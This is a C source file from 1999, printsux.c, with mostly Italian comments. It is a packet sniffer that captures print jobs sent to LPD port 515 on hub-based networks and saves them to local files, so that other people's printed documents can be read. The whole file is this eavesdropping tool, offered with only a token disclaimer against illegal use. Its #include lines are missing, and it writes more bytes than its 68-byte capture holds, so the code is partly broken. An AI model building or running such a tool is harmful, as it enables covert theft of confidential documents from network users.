/* * date: 31-12-99 -- 13.31 * filename: printsux.c * compile with: cc printsux.c -lpcap * * This src grabs documents printed on a network printer installed with lpd * * Don't use it for illegal purposes ! * It works only with normal hubs and without security layers :) * * QUESTO SORGENTE E' LIBERO COME L'ARIA POTETE MODIFICARLO, CAMBIARE ANCHE * IL NOME DELL'AUTORE E/O DEL FILE L'UNICO VINCOLO E' LA SINTASSI PROPRIA * DEL LINGUAGGIO :D SI VIETA L'UTILIZZO PER SCOPI ILLEGALI. * * Questo sorgente dimostra come sia facile in alcuni casi rubare documenti * o altro stampato su una stampante collegata in rete ... * Funziona nel caso in cui l'admin sia un gran pangonlino e in assenza di un * hub switch... ovvio che funge solo su stampe remote... scusatemi se non * avevo voglia di rendere leggibile tutto il file grabbato ad ogni modo il * documento e' ben visibile dal resto ... * * Questo stupido sorgente e' stato utilizzato per una dimostrazione legale * si vieta l'utilizzo per altri scopi. * * Per cocacola, caffe' di buona marca e concerti sono contattabile: * * pigpen [pigpen@s0ftpj.org] * */ #include #include #include #include #include #include #include #include #if (linux) #define __FAVOR_BSD #endif #include #include #define PORT 515 #define SUFFIX "grab" FILE *fp = NULL; pcap_t *p_desc = NULL; void aroundaround() { if(fp) fclose(fp); if(p_desc) pcap_close(p_desc); exit(0); } int main(void) { char filename[15]; char *p_device, *p_err = NULL, *buff = NULL; int datalink, offset = 0, count = 0; struct pcap_pkthdr p_hdr; struct ip *IP; struct tcphdr *TCP; signal(SIGINT, aroundaround); signal(SIGTERM, aroundaround); signal(SIGKILL, aroundaround); signal(SIGQUIT, aroundaround); if((p_device = pcap_lookupdev(p_err))) printf("Interface -> %s\n", p_device); else { printf("%s\n", p_err); return 0; } if (!(p_desc = pcap_open_live(p_device, 68, 1, 1000, p_err))) { printf("Error opening pcap: %s", p_err); return 0; } datalink = pcap_datalink(p_desc); switch(datalink) { case DLT_EN10MB: offset = 14; break; // put other types of datalink if you want .... } printf("Sniffing pkt ...\n"); while(1) { if ((buff = (char *) pcap_next(p_desc, &p_hdr))) { (char *) buff += offset; IP = (struct ip *) buff; switch(IP->ip_p) { case IPPROTO_TCP: TCP = (struct tcphdr *) (buff + ((int)IP->ip_hl << 2)); if(ntohs(TCP->th_dport)==PORT) { if (TCP->th_flags & TH_SYN) { if (fp) fclose(fp); printf("Detect a print job\n"); count++; snprintf(filename, sizeof(filename)-1, "%s%d", SUFFIX, count); fp=fopen(filename,"a+"); } fwrite(buff + sizeof(struct ip) + sizeof(struct tcphdr), ntohs(IP->ip_len) - sizeof(struct ip) - sizeof(struct tcphdr), 1, fp); fflush(fp); } break; } } } }